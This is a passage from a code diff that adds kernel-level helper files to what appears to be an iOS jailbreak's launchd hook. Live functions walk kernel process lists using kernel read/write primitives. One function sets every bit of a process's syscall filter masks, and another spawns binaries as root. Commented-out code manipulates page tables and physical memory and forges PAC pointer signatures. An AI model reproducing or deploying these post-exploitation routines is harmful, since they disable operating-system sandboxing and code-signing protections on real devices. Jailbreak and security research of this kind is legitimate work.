+// struct tt_level *lvlp = &arm_tt_level[curLevel];
+// uint64_t tteIndex = (va & lvlp->indexMask) >> lvlp->shift;
+// uint64_t tteEntry = 0;
+// // if (physical) {
+// // uint64_t tte_pa = tte_ttep + (tteIndex * sizeof(uint64_t));
+// // tteEntry = physread64(tte_pa);
+// // if (leaf_tte_ttep) *leaf_tte_ttep = tte_pa;
+// // if (leaf_level) *leaf_level = curLevel;
+// // } else {
+// // if (gPrimitives.kreadbuf && !physical) {
+// uint64_t tte_va = tte_ttep + (tteIndex * sizeof(uint64_t));
+// tteEntry = kread64(tte_va);
+// if (leaf_tte_ttep) *leaf_tte_ttep = tte_va;
+// if (leaf_level) *leaf_level = curLevel;
+// // }
+// // else {
+// // printf("WARNING: Failed %s translation, no function to do it.\n", physical ? "physical" : "virtual");
+// // errno = 1043;
+// // return 0;
+// // }
+
+// if ((tteEntry & lvlp->validMask) != lvlp->validMask) {
+// errno = 1042;
+// return 0;
+// }
+
+// if ((tteEntry & lvlp->typeMask) == lvlp->typeBlock) {
+// // Found block mapping, no matter what level we are in, this is the end
+// return ((tteEntry & ARM_TTE_PA_MASK & ~lvlp->offMask) | (va & lvlp->offMask));
+// }
+
+// if (physical) {
+// tte_ttep = tteEntry & ARM_TTE_TABLE_MASK;
+// }
+// else {
+// tte_ttep = phystokv(tteEntry & ARM_TTE_TABLE_MASK);
+// }
+// }
+
+// // If we end up here, it means we did not find a block mapping
+// // In this case, return the last page table address we traversed
+// return tte_ttep;
+// }
+
+// uint64_t vtophys(uint64_t tte_ttep, uint64_t va)
+// {
+// uint64_t level = PMAP_TT_L3_LEVEL;
+// return vtophys_lvl(tte_ttep, va, &level, NULL);
+// }
+
+// uint64_t kvtophys(uint64_t va)
+// {
+// return vtophys(kconstant(cpuTTEP), va);
+// }
+
+void libjailbreak_translation_init(void)
+{
+ // A9+: Kernel uses 16K pages
+ if (vm_real_kernel_page_size == 0x4000) {
+ arm_tt_level[0] = (struct tt_level){
+ .offMask = ARM_16K_TT_L0_OFFMASK,
+ .shift = ARM_16K_TT_L0_SHIFT,
+ .indexMask = ARM_16K_TT_L0_INDEX_MASK,
+ .validMask = ARM_TTE_VALID,
+ .typeMask = ARM_TTE_TYPE_MASK,
+ .typeBlock = ARM_TTE_TYPE_BLOCK,
+ };
+ arm_tt_level[1] = (struct tt_level){
+ .offMask = ARM_16K_TT_L1_OFFMASK,
+ .shift = ARM_16K_TT_L1_SHIFT,
+ .indexMask = kconstant(ARM_TT_L1_INDEX_MASK),
+ .validMask = ARM_TTE_VALID,
+ .typeMask = ARM_TTE_TYPE_MASK,
+ .typeBlock = ARM_TTE_TYPE_BLOCK,
+ };
+ arm_tt_level[2] = (struct tt_level){
+ .offMask = ARM_16K_TT_L2_OFFMASK,
+ .shift = ARM_16K_TT_L2_SHIFT,
+ .indexMask = ARM_16K_TT_L2_INDEX_MASK,
+ .validMask = ARM_TTE_VALID,
+ .typeMask = ARM_TTE_TYPE_MASK,
+ .typeBlock = ARM_TTE_TYPE_BLOCK,
+ };
+ arm_tt_level[3] = (struct tt_level){
+ .offMask = ARM_16K_TT_L3_OFFMASK,
+ .shift = ARM_16K_TT_L3_SHIFT,
+ .indexMask = ARM_16K_TT_L3_INDEX_MASK,
+ .validMask = ARM_TTE_VALID,
+ .typeMask = ARM_TTE_TYPE_MASK,
+ .typeBlock = ARM_TTE_TYPE_L3BLOCK,
+ };
+ }
+ // A8: Kernel uses 4k pages
+ else if (vm_real_kernel_page_size == 0x1000) {
+ arm_tt_level[0] = (struct tt_level){
+ .offMask = ARM_4K_TT_L0_OFFMASK,
+ .shift = ARM_4K_TT_L0_SHIFT,
+ .indexMask = ARM_4K_TT_L0_INDEX_MASK,
+ .validMask = ARM_TTE_VALID,
+ .typeMask = ARM_TTE_TYPE_MASK,
+ .typeBlock = ARM_TTE_TYPE_BLOCK,
+ };
+ arm_tt_level[1] = (struct tt_level){
+ .offMask = ARM_4K_TT_L1_OFFMASK,
+ .shift = ARM_4K_TT_L1_SHIFT,
+ .indexMask = kconstant(ARM_TT_L1_INDEX_MASK),
+ .validMask = ARM_TTE_VALID,
+ .typeMask = ARM_TTE_TYPE_MASK,
+ .typeBlock = ARM_TTE_TYPE_BLOCK,
+ };
+ arm_tt_level[2] = (struct tt_level){
+ .offMask = ARM_4K_TT_L2_OFFMASK,
+ .shift = ARM_4K_TT_L2_SHIFT,
+ .indexMask = ARM_4K_TT_L2_INDEX_MASK,
+ .validMask = ARM_TTE_VALID,
+ .typeMask = ARM_TTE_TYPE_MASK,
+ .typeBlock = ARM_TTE_TYPE_BLOCK,
+ };
+ arm_tt_level[3] = (struct tt_level){
+ .offMask = ARM_4K_TT_L3_OFFMASK,
+ .shift = ARM_4K_TT_L3_SHIFT,
+ .indexMask = ARM_4K_TT_L3_INDEX_MASK,
+ .validMask = ARM_TTE_VALID,
+ .typeMask = ARM_TTE_TYPE_MASK,
+ .typeBlock = ARM_TTE_TYPE_L3BLOCK,
+ };
+ }
+
+ // gPrimitives.phystokv = phystokv;
+ // gPrimitives.vtophys = vtophys;
+}
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/translation.h b/RootHelperSample/launchdshim/launchdhook/jbserver/translation.h
new file mode 100644
index 00000000..2a20ada2
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/translation.h
@@ -0,0 +1,13 @@
+#ifndef TRANSLATION_H
+#define TRANSLATION_H
+
+#include
+#include "pte.h"
+
+// uint64_t phystokv(uint64_t pa);
+uint64_t vtophys_lvl(uint64_t tte_ttep, uint64_t va, uint64_t *leaf_level, uint64_t *leaf_tte_ttep);
+uint64_t vtophys(uint64_t tte_ttep, uint64_t va);
+// uint64_t kvtophys(uint64_t va);
+void libjailbreak_translation_init(void);
+
+#endif
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/util.c b/RootHelperSample/launchdshim/launchdhook/jbserver/util.c
new file mode 100644
index 00000000..7cccb19a
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/util.c
@@ -0,0 +1,885 @@
+#include "util.h"
+#include "libproc.h"
+#include "libproc_private.h"
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include "info.h"
+#include "kernel.h"
+// #include "primitives.h"
+#include "../fun/krw.h"
+extern char **environ;
+
+#define FAKE_PHYSPAGE_TO_MAP 0x13370000
+
+#define POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE 1
+extern int posix_spawnattr_set_persona_np(const posix_spawnattr_t* __restrict, uid_t, uint32_t);
+extern int posix_spawnattr_set_persona_uid_np(const posix_spawnattr_t* __restrict, uid_t);
+extern int posix_spawnattr_set_persona_gid_np(const posix_spawnattr_t* __restrict, uid_t);
+
+void proc_iterate(void (^itBlock)(uint64_t, bool*))
+{
+ uint64_t proc = ksymbol(allproc);
+ while((proc = kread_ptr(proc + koffsetof(proc, list_next))))
+ {
+ bool stop = false;
+ itBlock(proc, &stop);
+ if(stop) return;
+ }
+}
+
+uint64_t proc_self(void)
+{
+ static uint64_t gSelfProc = 0;
+ static dispatch_once_t onceToken;
+ dispatch_once(&onceToken, ^{
+ gSelfProc = proc_find(getpid());
+ // decrement ref count again, we assume proc_self will exist for the whole lifetime of this process
+ proc_rele(gSelfProc);
+ });
+ return gSelfProc;
+}
+
+// uint64_t task_self(void)
+// {
+// static uint64_t gSelfTask = 0;
+// static dispatch_once_t onceToken;
+// dispatch_once(&onceToken, ^{
+// gSelfTask = proc_task(proc_self());
+// });
+// return gSelfTask;
+// }
+
+// uint64_t vm_map_self(void)
+// {
+// static uint64_t gSelfMap = 0;
+// static dispatch_once_t onceToken;
+// dispatch_once(&onceToken, ^{
+// gSelfMap = kread_ptr(task_self() + koffsetof(task, map));
+// });
+// return gSelfMap;
+// }
+
+// uint64_t pmap_self(void)
+// {
+// static uint64_t gSelfPmap = 0;
+// static dispatch_once_t onceToken;
+// dispatch_once(&onceToken, ^{
+// gSelfPmap = kread_ptr(vm_map_self() + koffsetof(vm_map, pmap));
+// });
+// return gSelfPmap;
+// }
+
+pid_t proc_get_ppid(pid_t pid)
+{
+ struct proc_bsdinfo procInfo;
+ if (proc_pidinfo(pid, PROC_PIDTBSDINFO, 0, &procInfo, sizeof(procInfo)) <= 0) {
+ return -1;
+ }
+ return procInfo.pbi_ppid;
+}
+
+int proc_paused(pid_t pid, bool* paused)
+{
+ *paused = false;
+
+ struct proc_bsdinfo procInfo = {0};
+ int ret = proc_pidinfo(pid, PROC_PIDTBSDINFO, 0, &procInfo, sizeof(procInfo));
+ if (ret != sizeof(procInfo)) {
+ return -1;
+ }
+
+ if (procInfo.pbi_status == SSTOP) {
+ *paused = true;
+ } else if (procInfo.pbi_status != SRUN) {
+ return -1;
+ }
+
+ return 0;
+}
+
+// uint64_t ttep_self(void)
+// {
+// static uint64_t gSelfTTEP = 0;
+// static dispatch_once_t onceToken;
+// dispatch_once(&onceToken, ^{
+// gSelfTTEP = kread_ptr(pmap_self() + koffsetof(pmap, ttep));
+// });
+// return gSelfTTEP;
+// }
+
+// uint64_t tte_self(void)
+// {
+// static uint64_t gSelfTTE = 0;
+// static dispatch_once_t onceToken;
+// dispatch_once(&onceToken, ^{
+// gSelfTTE = kread_ptr(pmap_self() + koffsetof(pmap, tte));
+// });
+// return gSelfTTE;
+// }
+
+// uint64_t task_get_ipc_port_table_entry(uint64_t task, mach_port_t port)
+// {
+// uint64_t itk_space = kread_ptr(task + koffsetof(task, itk_space));
+// return ipc_entry_lookup(itk_space, port);
+// }
+
+// uint64_t task_get_ipc_port_object(uint64_t task, mach_port_t port)
+// {
+// return kread_ptr(task_get_ipc_port_table_entry(task, port) + koffsetof(ipc_entry, object));
+// }
+
+// uint64_t task_get_ipc_port_kobject(uint64_t task, mach_port_t port)
+// {
+// return kread_ptr(task_get_ipc_port_object(task, port) + koffsetof(ipc_port, kobject));
+// }
+
+// uint64_t alloc_page_table_unassigned(void)
+// {
+// uint64_t pmap = pmap_self();
+// uint64_t ttep = kread64(pmap + koffsetof(pmap, ttep));
+
+// void *free_lvl2 = NULL;
+// uint64_t tte_lvl2 = 0;
+// uint64_t allocatedPT = 0;
+// uint64_t pinfo_pa = 0;
+// while (true) {
+// // When we allocate the entire address range of an L2 block, we can assume ownership of the backing table
+// if (posix_memalign(&free_lvl2, L2_BLOCK_SIZE, L2_BLOCK_SIZE) != 0) {
+// printf("WARNING: Failed to allocate L2 page table address range\n");
+// return 0;
+// }
+// // Now, fault in one page to make the kernel allocate the page table for it
+// *(volatile uint64_t *)free_lvl2;
+
+// // Find the newly allocated page table
+// uint64_t lvl = PMAP_TT_L2_LEVEL;
+// allocatedPT = vtophys_lvl(ttep, (uint64_t)free_lvl2, &lvl, &tte_lvl2);
+
+// uint64_t pvh = pai_to_pvh(pa_index(allocatedPT));
+// uint64_t ptdp = pvh_ptd(pvh);
+// uint64_t pinfo = kread64(ptdp + koffsetof(pt_desc, ptd_info));
+// pinfo_pa = kvtophys(pinfo);
+
+// uint16_t refCount = physread16(pinfo_pa);
+// if (refCount != 1) {
+// // Something is off, retry
+// free(free_lvl2);
+// continue;
+// }
+// break;
+// }
+
+// // Handle case where all entries in the level 2 table are 0 after we leak ours
+// // In that case, leak an allocation in the span of it to keep it alive
+// /*uint64_t lvl2Table = tte_lvl2 & ~PAGE_MASK;
+// uint64_t lvl2TableEntries[PAGE_SIZE / sizeof(uint64_t)];
+// physreadbuf(lvl2Table, lvl2TableEntries, PAGE_SIZE);
+// int freeIdx = -1;
+// for (int i = 0; i < (PAGE_SIZE / sizeof(uint64_t)); i++) {
+// uint64_t curPtr = lvl2Table + (sizeof(uint64_t) * i);
+// if (curPtr != tte_lvl2) {
+// if (lvl2TableEntries[i]) {
+// freeIdx = -1;
+// break;
+// }
+// else {
+// freeIdx = i;
+// }
+// }
+// }
+// if (freeIdx != -1) {
+// vm_address_t freeUserspace = ((uint64_t)free_lvl2 & ~L1_BLOCK_MASK) + (freeIdx * L2_BLOCK_SIZE);
+// if (vm_allocate(mach_task_self(), &freeUserspace, 0x4000, VM_FLAGS_FIXED) == 0) {
+// *(volatile uint8_t *)freeUserspace;
+// }
+// }*/
+
+// // Bump reference count of our allocated page table
+// physwrite16(pinfo_pa, 0x1337);
+
+// // Deallocate address range (our allocated page table will stay because we bumped it's reference count)
+// free(free_lvl2);
+
+// // Remove our allocated page table from it's original location (leak it)
+// physwrite64(tte_lvl2, 0);
+
+// // Ensure there is at least one entry in page table
+// // Attempts to prevent "pte is empty" panic
+// // Sometimes weird prefetches happen so this has to be a valid physical page to ensure those don't panic
+// // Disabled for now cause it causes super weird issues
+// //physwrite64(allocatedPT, kconstant(physBase) | PERM_TO_PTE(PERM_KRW_URW) | PTE_NON_GLOBAL | PTE_OUTER_SHAREABLE | PTE_LEVEL3_ENTRY);
+
+// // Reference count of new page table must be 0!
+// // original ref count is 1 because the table holds one PTE
+// // Our new PTEs are not part of the pmap layer though so refcount needs to be 0
+// physwrite16(pinfo_pa, 0);
+
+// // After we leaked the page table, the ledger still thinks it belongs to our process
+// // We need to remove it from there aswell so that the process doesn't get jetsam killed
+// // (This ended up more complicated than I thought, so I just disabled jetsam in launchd)
+// //uint64_t ledger = kread_ptr(pmap + koffsetof(pmap, ledger));
+// //uint64_t ledger_pa = kvtophys(ledger);
+// //int page_table_ledger = physread32(ledger_pa + koffsetof(_task_ledger_indices, page_table));
+// //physwrite32(ledger_pa + koffsetof(_task_ledger_indices, page_table), page_table_ledger - 1);
+
+// return allocatedPT;
+// }
+
+// uint64_t pmap_alloc_page_table(uint64_t pmap, uint64_t va)
+// {
+// if (!pmap) {
+// pmap = pmap_self();
+// }
+
+// uint64_t tt_p = alloc_page_table_unassigned();
+// if (!tt_p) return 0;
+
+// uint64_t pvh = pai_to_pvh(pa_index(tt_p));
+// uint64_t ptdp = pvh_ptd(pvh);
+
+// uint64_t ptdp_pa = kvtophys(ptdp);
+
+// // At this point the allocated page table is associated
+// // to the pmap of this process alongside the address it was allocated on
+// // We now need to replace the association with the context in which it will be used
+// physwrite64(ptdp_pa + koffsetof(pt_desc, pmap), pmap);
+
+// // On A14+ PT_INDEX_MAX is 4, for whatever reason
+// // However in practice, only the first slot is used...
+// for (uint64_t po = 0; po < vm_page_size; po += vm_real_kernel_page_size) {
+// physwrite64(ptdp_pa + koffsetof(pt_desc, va) + (po / vm_page_size), va + po);
+// }
+
+// return tt_p;
+// }
+
+// int pmap_expand_range(uint64_t pmap, uint64_t vaStart, uint64_t size)
+// {
+// uint64_t ttep = kread_ptr(pmap + koffsetof(pmap, ttep));
+
+// if (is_kcall_available()) {
+// uint64_t unmappedStart = 0, unmappedSize = 0;
+
+// uint64_t l2Start = vaStart & ~L2_BLOCK_MASK;
+// uint64_t l2End = (vaStart + (size - 1)) & ~L2_BLOCK_MASK;
+// uint64_t l2Count = ((l2End - l2Start) / L2_BLOCK_SIZE) + 1;
+
+// for (uint64_t i = 0; i <= l2Count; i++) {
+// uint64_t curL2 = l2Start + (i * L2_BLOCK_SIZE);
+
+// uint64_t leafLevel = PMAP_TT_L3_LEVEL;
+// uint64_t pt3 = 0;
+// vtophys_lvl(ttep, curL2, &leafLevel, &pt3);
+// if (leafLevel == PMAP_TT_L3_LEVEL || i == l2Count) {
+// // i == l2Count: one extra cycle that this for loop takes
+// // We hit this block either if there was a mapping or at the end
+// // Alloc page tables for the current area (unmappedStart, unmappedSize) by running pmap_enter_options on every page
+// // And then running pmap_remove on the entire area while nested is true
+
+// for (uint64_t l2Off = 0; l2Off < unmappedSize; l2Off += L2_BLOCK_SIZE) {
+// kern_return_t kr = pmap_enter_options_addr(pmap, FAKE_PHYSPAGE_TO_MAP, unmappedStart + l2Off);
+// if (kr != KERN_SUCCESS) {
+// return -7;
+// }
+// }
+
+// // Set type to nested
+// physwrite8(kvtophys(pmap + koffsetof(pmap, type)), 3);
+
+// // Remove mapping (table will stay cause nested is set)
+// pmap_remove(pmap, unmappedStart, unmappedStart + unmappedSize);
+
+// // Change type back
+// physwrite8(kvtophys(pmap + koffsetof(pmap, type)), 0);
+
+// unmappedStart = 0;
+// unmappedSize = 0;
+// continue;
+// }
+// else {
+// if (unmappedStart == 0) {
+// unmappedStart = curL2;
+// }
+// unmappedSize += L2_BLOCK_SIZE;
+// }
+// }
+// }
+// else {
+// uint64_t vaEnd = vaStart + size;
+// for (uint64_t va = vaStart; va < vaEnd; va += vm_real_kernel_page_size) {
+// uint64_t leafLevel;
+// do {
+// leafLevel = PMAP_TT_L3_LEVEL;
+// uint64_t pt = 0;
+// vtophys_lvl(ttep, va, &leafLevel, &pt);
+// if (leafLevel != PMAP_TT_L3_LEVEL) {
+// uint64_t pt_va = 0;
+// switch (leafLevel) {
+// case PMAP_TT_L1_LEVEL: {
+// pt_va = va & ~L1_BLOCK_MASK;
+// break;
+// }
+// case PMAP_TT_L2_LEVEL: {
+// pt_va = va & ~L2_BLOCK_MASK;
+// break;
+// }
+// }
+// uint64_t newTable = pmap_alloc_page_table(pmap, pt_va);
+// if (newTable) {
+// physwrite64(pt, newTable | ARM_TTE_VALID | ARM_TTE_TYPE_TABLE);
+// }
+// else {
+// return -2;
+// }
+// }
+// } while (leafLevel < PMAP_TT_L3_LEVEL);
+// }
+// }
+// return 0;
+// }
+
+// int pmap_map_in(uint64_t pmap, uint64_t uaStart, uint64_t paStart, uint64_t size)
+// {
+// uint64_t ttep = kread64(pmap + koffsetof(pmap, ttep));
+
+// uint64_t paEnd = paStart + size;
+// uint64_t uaEnd = uaStart + size;
+
+// uint64_t uaL2Start = uaStart & ~L2_BLOCK_MASK;
+// uint64_t uaL2End = ((uaStart + size - 1) + L2_BLOCK_SIZE) & ~L2_BLOCK_MASK;
+
+// uint64_t paL2Start = paStart & ~L2_BLOCK_MASK;
+// uint64_t l2Count = (((uaL2End - uaL2Start) - 1) / L2_BLOCK_SIZE) + 1;
+
+// // Sanity check: Ensure the entire area to be mapped in is not mapped to anything yet
+// for(uint64_t ua = uaStart; ua < uaEnd; ua += vm_real_kernel_page_size) {
+// uint64_t leafLevel = PMAP_TT_L3_LEVEL;
+// if (vtophys_lvl(ttep, ua, &leafLevel, NULL) != 0) {
+// return -1;
+// }
+// else {
+// // Performance improvement
+// // If there is no L1 / L2 mapping we can skip a whole bunch of addresses
+// if (leafLevel == PMAP_TT_L1_LEVEL) {
+// ua = (((ua + L1_BLOCK_SIZE) & ~L1_BLOCK_MASK) - vm_real_kernel_page_size);
+// }
+// else if (leafLevel == PMAP_TT_L2_LEVEL) {
+// ua = (((ua + L2_BLOCK_SIZE) & ~L2_BLOCK_MASK) - vm_real_kernel_page_size);
+// }
+// }
+
+// if (vtophys(ttep, ua)) return -1;
+// // TODO: If all mappings match 1:1, maybe return 0 instead of -1?
+// }
+
+// // Allocate all page tables that need to be allocated
+// if (pmap_expand_range(pmap, uaStart, size) != 0) return -1;
+
+// // Insert entries into L3 pages
+// for (uint64_t i = 0; i < l2Count; i++) {
+// uint64_t uaL2Cur = uaL2Start + (i * L2_BLOCK_SIZE);
+// uint64_t paL2Cur = paL2Start + (i * L2_BLOCK_SIZE);
+
+// // Create full table for this mapping
+// uint64_t tableToWrite[L2_BLOCK_COUNT];
+// for (int k = 0; k < L2_BLOCK_COUNT; k++) {
+// uint64_t curMappingPage = paL2Cur + (k * vm_real_kernel_page_size);
+// if (curMappingPage >= paStart && curMappingPage < paEnd) {
+// tableToWrite[k] = curMappingPage | PERM_TO_PTE(PERM_KRW_URW) | PTE_NON_GLOBAL | PTE_OUTER_SHAREABLE | PTE_LEVEL3_ENTRY;
+// }
+// else {
+// tableToWrite[k] = 0;
+// }
+// }
+
+// // Replace table with the entries we generated
+// uint64_t leafLevel = PMAP_TT_L2_LEVEL;
+// uint64_t level2Table = vtophys_lvl(ttep, uaL2Cur, &leafLevel, NULL);
+// if (!level2Table) return -2;
+// physwritebuf(level2Table, tableToWrite, vm_real_kernel_page_size);
+// }
+
+// return 0;
+// }
+
+
+// #ifdef __arm64e__
+// uint64_t pmap_find_main_binary_code_dir(uint64_t pmap)
+// {
+// uint64_t mainCodeDir = 0;
+// uint64_t pmap_cs_region = kread_ptr(pmap + koffsetof(pmap, pmap_cs_main));
+// while (pmap_cs_region && !mainCodeDir) {
+// uint64_t pmap_cs_code_dir = kread_ptr(pmap_cs_region + koffsetof(pmap_cs_region, cd_entry));
+// while (pmap_cs_code_dir) {
+// _Bool mainBinary = kread64(pmap_cs_code_dir + koffsetof(pmap_cs_code_directory, main_binary));
+// if (mainBinary) {
+// mainCodeDir = pmap_cs_code_dir;
+// break;
+// }
+// pmap_cs_code_dir = kread_ptr(pmap_cs_code_dir + koffsetof(pmap_cs_code_directory, pmap_cs_code_directory_next));
+// }
+// pmap_cs_region = kread_ptr(pmap_cs_region + koffsetof(pmap_cs_region, pmap_cs_region_next));
+// }
+// return mainCodeDir;
+// }
+
+// uint64_t proc_find_main_binary_code_dir(uint64_t proc)
+// {
+// uint64_t task = proc_task(proc);
+// uint64_t map = kread_ptr(task + koffsetof(task, map));
+// uint64_t pmap = kread_ptr(map + koffsetof(vm_map, pmap));
+// return pmap_find_main_binary_code_dir(pmap);
+// }
+
+// uint32_t pmap_cs_trust_string_to_int(const char *trustString)
+// {
+// int trustInt = 0;
+// if (__builtin_available(iOS 16.0, *)) {
+// if (!strcmp(trustString, "PMAP_CS_UNTRUSTED")) trustInt = 0;
+// else if (!strcmp(trustString, "PMAP_CS_RETIRED")) trustInt = 1;
+// else if (!strcmp(trustString, "PMAP_CS_PROFILE_PREFLIGHT")) trustInt = 2;
+// else if (!strcmp(trustString, "PMAP_CS_COMPILATION_SERVICE")) trustInt = 3;
+// else if (!strcmp(trustString, "PMAP_CS_OOP_JIT")) trustInt = 4;
+// else if (!strcmp(trustString, "PMAP_CS_LOCAL_SIGNING")) trustInt = 5;
+// else if (!strcmp(trustString, "PMAP_CS_PROFILE_VALIDATED")) trustInt = 6;
+// else if (!strcmp(trustString, "PMAP_CS_APP_STORE")) trustInt = 7;
+// else if (!strcmp(trustString, "PMAP_CS_IN_LOADED_TRUST_CACHE")) trustInt = 8;
+// else if (!strcmp(trustString, "PMAP_CS_IN_STATIC_TRUST_CACHE")) trustInt = 9;
+// }
+// else {
+// if (!strcmp(trustString, "PMAP_CS_UNTRUSTED")) trustInt = 0;
+// else if (!strcmp(trustString, "PMAP_CS_RETIRED")) trustInt = 1;
+// else if (!strcmp(trustString, "PMAP_CS_PROFILE_PREFLIGHT")) trustInt = 2;
+// else if (!strcmp(trustString, "PMAP_CS_COMPILATION_SERVICE")) trustInt = 3;
+// else if (!strcmp(trustString, "PMAP_CS_LOCAL_SIGNING")) trustInt = 4;
+// else if (!strcmp(trustString, "PMAP_CS_PROFILE_VALIDATED")) trustInt = 5;
+// else if (!strcmp(trustString, "PMAP_CS_APP_STORE")) trustInt = 6;
+// else if (!strcmp(trustString, "PMAP_CS_IN_LOADED_TRUST_CACHE")) trustInt = 7;
+// else if (!strcmp(trustString, "PMAP_CS_IN_STATIC_TRUST_CACHE")) trustInt = 8;
+// }
+// return trustInt;
+// }
+
+// #endif
+
+// int sign_kernel_thread(uint64_t proc, mach_port_t threadPort)
+// {
+// uint64_t threadKobj = task_get_ipc_port_kobject(proc_task(proc), threadPort);
+// uint64_t threadContext = kread_ptr(threadKobj + koffsetof(thread, machine_contextData));
+
+// uint64_t pc = kread64(threadContext + offsetof(kRegisterState, pc));
+// uint64_t cpsr = kread64(threadContext + offsetof(kRegisterState, cpsr));
+// uint64_t lr = kread64(threadContext + offsetof(kRegisterState, lr));
+// uint64_t x16 = kread64(threadContext + offsetof(kRegisterState, x[16]));
+// uint64_t x17 = kread64(threadContext + offsetof(kRegisterState, x[17]));
+
+// return kcall(NULL, ksymbol(ml_sign_thread_state), 6, (uint64_t[]){ threadContext, pc, cpsr, lr, x16, x17 });
+// }
+
+// uint64_t kpacda(uint64_t pointer, uint64_t modifier)
+// {
+// if (gPrimitives.kexec && kgadget(pacda)) {
+// // |------- GADGET -------|
+// // | cmp x1, #0 |
+// // | pacda x1, x9 |
+// // | str x9, [x8] |
+// // | csel x9, xzr, x1, eq |
+// // | ret |
+// // |----------------------|
+// uint64_t output = 0;
+// uint64_t output_kernelVA = phystokv(vtophys(kread_ptr(pmap_self() + koffsetof(pmap, ttep)), (uint64_t)&output));
+// kRegisterState threadState = { 0 };
+// threadState.pc = kgadget(pacda);
+// threadState.x[1] = pointer;
+// threadState.x[9] = modifier;
+// threadState.x[8] = output_kernelVA;
+// kexec(&threadState);
+// return output;
+// }
+// return 0;
+// }
+
+// uint64_t kptr_sign(uint64_t kaddr, uint64_t pointer, uint16_t salt)
+// {
+// uint64_t modifier = (kaddr & 0xffffffffffff) | ((uint64_t)salt << 48);
+// return kpacda(UNSIGN_PTR(pointer), modifier);
+// }
+
+int kwrite1_bits(uint64_t startPtr, uint32_t bitCount)
+{
+ uint32_t byteSize = ceil((float)bitCount / 8);
+ uint8_t buf[byteSize];
+
+ for (uint32_t i = 0; i < bitCount; i += 8) {
+ uint32_t rem = (bitCount - i);
+ if (rem < 8) {
+ for (int y = 0; y < rem; y++) {
+ buf[i/8] |= (1 << y);
+ }
+ }
+ else {
+ buf[i/8] = 0xff;
+ }
+ }
+
+ return kwritebuf(startPtr, buf, byteSize);
+}
+
+void proc_allow_all_syscalls(uint64_t proc)
+{
+ if (!gSystemInfo.kernelStruct.proc_ro.exists) return;
+ uint64_t proc_ro = kread_ptr(proc + koffsetof(proc, proc_ro));
+
+ uint64_t bsdFilter = kread_ptr(proc_ro + koffsetof(proc_ro, syscall_filter_mask));
+ uint64_t machFilter = kread_ptr(proc_ro + koffsetof(proc_ro, mach_trap_filter_mask));
+ uint64_t machKobjFilter = kread_ptr(proc_ro + koffsetof(proc_ro, mach_kobj_filter_mask));
+
+ if (bsdFilter) {
+ kwrite1_bits(bsdFilter, kconstant(nsysent));
+ }
+ if (machFilter) {
+ kwrite1_bits(machFilter, kconstant(mach_trap_count));
+ }
+ if (machKobjFilter) {
+ kwrite1_bits(machKobjFilter, kread64(ksymbol(mach_kobj_count)));
+ }
+}
+
+int cmd_wait_for_exit(pid_t pid)
+{
+ int status = 0;
+ do {
+ if (waitpid(pid, &status, 0) == -1) {
+ return -1;
+ }
+ } while (!WIFEXITED(status) && !WIFSIGNALED(status));
+ return status;
+}
+
+int __exec_cmd_internal_va(bool suspended, bool root, bool waitForExit, pid_t *pidOut, const char *binary, int argc, va_list va_args)
+{
+ const char *argv[argc+1];
+ argv[0] = binary;
+ for (int i = 1; i < argc; i++) {
+ argv[i] = va_arg(va_args, const char *);
+ }
+ argv[argc] = NULL;
+
+ posix_spawnattr_t attr = NULL;
+ posix_spawnattr_init(&attr);
+ // if (suspended) {
+ posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED);
+ // }
+ if (root) {
+ posix_spawnattr_set_persona_np(&attr, 99, POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE);
+ posix_spawnattr_set_persona_uid_np(&attr, 0);
+ posix_spawnattr_set_persona_gid_np(&attr, 0);
+ }
+
+ pid_t spawnedPid = 0;
+ int spawnError = posix_spawn(&spawnedPid, binary, NULL, &attr, (char *const *)argv, environ);
+ if (attr) posix_spawnattr_destroy(&attr);
+ if (spawnError != 0) return spawnError;
+
+ jbclient_patch_spawn(spawnedPid, false);
+
+ if (!suspended) kill(spawnedPid, SIGCONT);
+
+ if (waitForExit && !suspended) {
+ return cmd_wait_for_exit(spawnedPid);
+ }
+ else if (pidOut) {
+ *pidOut = spawnedPid;
+ }
+ return 0;
+}
+
+int exec_cmd(const char *binary, ...)
+{
+ int argc = 1;
+ va_list args;
+ va_start(args, binary);
+ while (va_arg(args, const char *)) argc++;
+ va_end(args);
+
+ va_start(args, binary);
+ int r = __exec_cmd_internal_va(false, false, true, NULL, binary, argc, args);
+ va_end(args);
+ return r;
+}
+
+int exec_cmd_nowait(pid_t *pidOut, const char *binary, ...)
+{
+ int argc = 1;
+ va_list args;
+ va_start(args, binary);
+ while (va_arg(args, const char *)) argc++;
+ va_end(args);
+
+ va_start(args, binary);
+ int r = __exec_cmd_internal_va(false, false, false, pidOut, binary, argc, args);
+ va_end(args);
+ return r;
+}
+
+int exec_cmd_suspended(pid_t *pidOut, const char *binary, ...)
+{
+ int argc = 1;
+ va_list args;
+ va_start(args, binary);
+ while (va_arg(args, const char *)) argc++;
+ va_end(args);
+
+ va_start(args, binary);
+ int r = __exec_cmd_internal_va(true, false, false, pidOut, binary, argc, args);
+ va_end(args);
+ return r;
+}
+
+int exec_cmd_root(const char *binary, ...)
+{
+ int argc = 1;
+ va_list args;
+ va_start(args, binary);
+ while (va_arg(args, const char *)) argc++;
+ va_end(args);
+
+ va_start(args, binary);
+ int r = __exec_cmd_internal_va(false, true, true, NULL, binary, argc, args);
+ va_end(args);
+ return r;
+}
+
+void killall(const char *executablePathToKill, bool softly)
+{
+ static int maxArgumentSize = 0;
+ if (maxArgumentSize == 0) {
+ size_t size = sizeof(maxArgumentSize);
+ if (sysctl((int[]){ CTL_KERN, KERN_ARGMAX }, 2, &maxArgumentSize, &size, NULL, 0) == -1) {
+ perror("sysctl argument size");
+ maxArgumentSize = 4096; // Default
+ }
+ }
+ int mib[3] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL};
+ struct kinfo_proc *info;
+ size_t length;
+ int count;
+
+ if (sysctl(mib, 3, NULL, &length, NULL, 0) < 0)
+ return;
+ if (!(info = malloc(length)))
+ return;
+ if (sysctl(mib, 3, info, &length, NULL, 0) < 0) {
+ free(info);
+ return;
+ }
+ count = length / sizeof(struct kinfo_proc);
